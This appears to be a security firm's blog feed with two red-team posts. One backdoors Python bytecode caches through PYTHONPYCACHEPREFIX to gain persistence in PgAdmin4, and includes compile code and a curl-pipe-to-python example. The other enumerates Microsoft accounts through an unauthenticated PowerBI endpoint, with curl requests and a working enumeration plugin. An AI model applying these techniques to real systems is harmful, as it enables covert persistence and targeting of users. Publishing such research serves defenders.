Offsec on SRA Labs | Cybersecurity Research & Innovation by Security Risk Advisors

Abusing PYTHONPYCACHEPREFIX

Tue, 02 Jun 2026 12:00:00 +0000

Overview

Using high-level languages for code execution and persistence has become a fairly popular trend as of late. I’m reminded of this post from TrustedSec talking about exactly this. The author discusses how to install Python to a Windows system and provides an overview of what kind of capabilities are available, including how to use ctypes for running unmanaged code. Commercial offensive tooling vendors like Balliskit support Python payloads, and there are even full C2 implants built with it (Medusa, Pyramid, PoshC2).

However, running PowerShell to install Python or even dropping arbitrary Python files to disk can be a risky endeavor within a well-hardened environment. We can do better.

LOTL

A few years back, I was performing a red team engagement against an exceptionally well-hardened environment. They’re a client we’ve worked with for a long time, and they’ve taken all of our recommendations very seriously. Much to their benefit, and the loss of my sanity, the end user workstations had become about as well hardened as any reasonable enterprise could achieve. Tuned EDR, full allowlisting via WDAC, the works. Desperate and racking my brain for something novel, I started going through the applications available within the company portal. After pulling PgAdmin4 and looking through the assets that get installed, I noticed that a portable Python runtime was included.

This alone is a huge boon when fighting against EDR: executing directly from a trusted process in a trusted location. But we still need a means to actually load a payload. We could drop a file to disk and execute, but static file analysis very well may get you caught. You could obfuscate, but then you’ve got to deal with entropy checks. You could also just invoke Python directly, dynamically loading the payload a la curl https://example.com/payload.py | .\python.exe. This obviously has all kinds of drawbacks related to cmd/PowerShell telemetry.

PYTHONPYCACHEPREFIX

The Python3 runtime can be controlled in a number of ways, primarily through command line arguments and environment variables. You can find them documented here. As the title suggests, we’ll be looking at the PYTHONPYCACHEPREFIX environment variable. From the docs:

If this is set, Python will write .pyc files in a mirror directory tree at this path, instead of in __pycache__ directories within the source tree. This is equivalent to specifying the -X pycache_prefix=PATH option.

Lets set this var to something we have write-access to. In this case: an AppData subdirectory.

When launching the app, you’ll see a number of new directories and .pyc files have been created.

Generating Python Bytecode

Now we have a primitive for obtaining write-access to a trusted process’s files. The next step is to weaponize it. This will involve backdooring the .pyc files themselves. These files can be dynamically created by using the py_compile native module (docs here). Importantly, as we’re compiling to bytecode, the Python release we’re using to generate these files needs to exactly match the environment we’re targetting. For PgAdmin4 v9.11.1, this is Python 3.13.9.

If you’re not familiar with Python, the ___init.py___ file is a special initialization file that’s invoked when a package is imported. Given its ubiquitous use, this makes it a great backdoor candidate. For our POC, we’re going to create a simple canary file:

with open("C:/Temp/canary.txt", "w") as f:
    f.write("chirp")

We can then compile this into a .pyc file with the following:

from py_compile import compile, PycInvalidationMode

infile = "C:/Users/titan/Desktop/example.py"
outfile = "C:/Users/titan/Desktop/__init__.pyc"
    
compile(infile, cfile=outfile, invalidation_mode=PycInvalidationMode.UNCHECKED_HASH)

An important bit here is the PycInvalidationMode.UNCHECKED_HASH invalidation mode. This tells the Python runtime to always respect the cache file, even if the original .py file has been modified. This ensures the malicious .pyc persists. Now if we drop this file into the cache directory and reload the PgAdmin4 app, the canary file will be created. This will cause the app to just crash, but that’s not surprising.

Fully weaponizing this is fairly trivial. All we have to do is grab the original ___init__.py file, add our malicious code, and recompile. To target the pycache/Program Files/pgAdmin 4/web/pgadmin/__init__.cpython-313.pyc cache file, we can pull the original from C:/Program Files/pgAdmin 4/web/pgadmin/__init__.py. Drop your malicious code right after the import statements, recompile, drop to disk, et voilà: you now have an implant executing within the context of the parent PgAdmin4 process.

A Note on PgAdmin4 v9.11.2+

I’ve used this technique across several engagements at this point; it’s a surprisingly common app to find within a company portal. However, when going to write this blog, I noticed that PgAdmin4 no longer writes the bytecode files to the expected location. This seems to have started with v9.11.2, which released in Feb 2026. The previous version, v9.11.1, and all other versions I’ve tried this against, work as intended. Discussing with a coworker, it appears this commit introduced a “macOS fix” which disables bytecode generation. Ironically enough, this was enabled by using a different Python env var: PYTHONDONTWRITEBYTECODE. We can confirm this by pulling up the server log:

But not all hope is lost. As the env var name suggests, this only disables writing bytecode and not reading bytecode. To verify this, I modified C:/Program Files/pgAdmin 4/runtime/resources/app/src/js/pgadmin.js, commenting out the process.env.PYTHONDONTWRITEBYTECODE = '1'; line. Restarting the app generated the bytecode, and I created the same ___init__.cpython-313.pyc POC as before. After restoring the PYTHONDONTWRITEBYTECODE env var and restarting the app, the canary file was successfully created.

On a live engagement, you won’t be able to modify the pgadmin.js file to entice the bytecode generation. However, you could do this on a machine you control and then push all the cache files onto the target machine. You could also opt to only drop the single malicious .pyc file. An EDR likely won’t care whether there is a single .pyc or an entire directory tree’s worth, but this may stand out to an adept incident response team.

On Other Applications

To be clear: this primitive is not specific to PgAdmin4. Any application that bundles or otherwise invokes a Python runtime from a user context could be exploited this way. A cursory glance shows that Sublime Text and GIMP use Python for plugin support. Alternatively, a Python developer and all their tooling could be targetted this way, including JupyterLabs Desktop. As long as the target cache file maps to a file that is regularly executed by the user, it can be used as a means of peristence.

{"accountExists": true} User Enumeration with PowerBI

Tue, 19 May 2026 12:00:00 +0000

TL;DR

External pentests and red teams often need reliable techniques for identifying and validating target users. Traditional methods like TeamsEnum and onedrive_user_enum are useful, but can be false positive-prone or require further authentication. The PowerBI API exposes an unauthenticated endpoint that returns a definitive {"accountExists":true} or a 404/500, which can be used to enumerate valid email addresses for a given organization.

Introduction

As adversaries, we’re constantly looking for new ways to perform enumeration as platforms and APIs shift. Within the Microsoft ecosystem this is especially common, they move fast, deprecate APIs (looking at you, Azure AD Graph), and regularly change how products authenticate and communicate.

During a red team, we needed a reliable way to enumerate users in a large Microsoft Entra environment that had tenants configured with both Managed and Federated domains. However, the existing options weren’t cutting it:

TeamsEnum required authentication to get reliable results
onedrive_user_enum was returning hits on deprovisioned or inactive accounts, making results noisy and unreliable
MS Graph-based techniques had changed behavior, either not returning correct results, limited to only managed tenants, or requiring an actual authentication attempt to determine account validity, which risks triggering Smart Lockout or spray detection rules

We needed something that was unauthenticated, low-noise, and accurate.

Finding the Endpoint

To start, we leaned on prior research. My colleague Dave Parillo (@coffeebearsec) and I had previously done work on PowerBI that we called LetItGo, where we found that under the right tenant conditions (specifically, if self-service signup was enabled and an expired-but-configured domain was available), you could get PowerBI to create a new account for you in the target tenant without credentials.

Taking a similar approach, we started digging into the PowerBI authentication flow more broadly. PowerBI and its sibling platforms, Microsoft Fabric and Power BI Embedded, are notable in that they’re the only Microsoft services (that we’ve found) that maintain their own branded pre-auth entry point (/singleSignOn) rather than handing off directly to login.microsoftonline.com. This means they have their own pre-authentication logic, and that logic needs to resolve account state before it knows where to send you.

Digging into the API calls made during that flow, we found that all three make use of this endpoint:

POST https://api.powerbi.com/AADRedirect/public/email/accountStatus
Content-Type: application/json

{"emailAddress": "target@organization.com"}

Only the email address of the target organization is required.

The Response

The response from this API couldn’t be cleaner from an enumeration perspective.

Valid Account (200 OK)

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 42
RequestId: a25c8c51-a67a-460f-984e-cfe6685237c9

{"accountExists":true}

Invalid Account (404 Not Found)

HTTP/1.1 404 Not Found
Content-Type: application/octet-stream
RequestId: d19f8666-fded-4e3c-9973-cf1b11383580

[empty body]

Nonexistent Organization (500 Internal Server Error)

HTTP/1.1 500 Internal Server Error
Content-Type: application/json; charset=utf-8
Content-Length: 128
RequestId: b265cd37-d2c1-4a2a-b148-1fedb0df31f9

{"error":{"code":"AADEmailAccountStatusFailed","pbi.error":{"code":"AADEmailAccountStatusFailed","parameters":{},"details":[]}}}

The signal is a combination of HTTP status code and body

A valid account gets a 200 with {"accountExists":true}
An invalid account gets a 404 with no body and a content type of application/octet-stream
An account with an org that doesn’t exist gets a 500 with {"error":...}.

Using It in Practice

The simplest possible test:

# Valid user
curl -s -X POST "https://api.powerbi.com/AADRedirect/public/email/accountStatus" \
  -H "Content-Type: application/json" \
  -H "Origin: https://app.powerbi.com" \
  -d '{"emailAddress":"user@targetorg.com"}'
# Returns: {"accountExists":true}

# Invalid user
curl -s -X POST "https://api.powerbi.com/AADRedirect/public/email/accountStatus" \
  -H "Content-Type: application/json" \
  -H "Origin: https://app.powerbi.com" \
  -d '{"emailAddress":"nobody@targetorg.com"}'
# Returns: (empty, 404) or ({"error":..., 500)

And the CaptainCredz plugin implementation, which handles this as a pure enumeration module:

PYTHON CaptinCredz Plugin


class Plugin:
    def __init__(self, requester, pluginargs):
        self.requester = requester
        self.pluginargs = pluginargs

    def validate(self):
        return True, ""

    def testconnect(self, useragent):
        r = self.requester.get(
            "https://app.powerbi.com",
            headers={"User-Agent": useragent}
        )
        return r.status_code == 200

    def test_authenticate(self, username, password, useragent):
        data_response = {
            "result": None,
            "error": False,
            "output": "",
            "request": None
        }
        try:
            sess = self.requester.session()
            sess.headers.update({
                "User-Agent": useragent,
                "Content-Type": "application/json",
                "Origin": "https://app.powerbi.com",
            })
            r = sess.post(
                "https://api.powerbi.com/AADRedirect/public/email/accountStatus",
                json={"emailAddress": username},
                allow_redirects=False
            )
            data_response["request"] = r

            if r.status_code == 200:
                data_response["result"] = "potential"
                data_response["output"] = f"[+] VALID: {username}"
            elif r.status_code == 404:
                data_response["result"] = "nonexistant"
                data_response["output"] = f"[-] INVALID: {username}"
            elif r.status_code == 500:
                data_response["result"] = "nonexistant"
                data_response["output"] = f"[-] INVALID: {username}"
            else:
                data_response["result"] = "failure"
                data_response["output"] = f"[?] UNEXPECTED {r.status_code}: {username}"

        except Exception as ex:
            data_response["error"] = True
            data_response["output"] = str(ex)

        return data_response

Conclusion

User enumeration isn’t new, but having a single unauthenticated POST that returns a 200/404/500 for account validity is about as clean as it gets. No spray risk, no lockout, and no false positives from stale accounts. The fact that this lives under api.powerbi.com rather than the login.microsoftonline.com infrastructure makes this a valuable target for adversaries, as it’s an API for a product that prioritized broad adoption over tight auth controls.

One pattern worth internalizing: emerging or heavily-marketed Microsoft platforms like PowerBI, Fabric, Power BI Embedded, tend to maintain their own pre-auth flows outside the standard Entra HRD (home realm discovery) path, and those flows need to resolve account state somewhere. When you’re looking for new enumeration surfaces in a Microsoft environment, these bespoke sign-in flows are a good place to start. The attack surface is constantly evolving, and specific endpoints may be patched, but the pattern of looking here applies regardless.

If you have any questions or concerns, feel free to reach out to @illegitimateDA.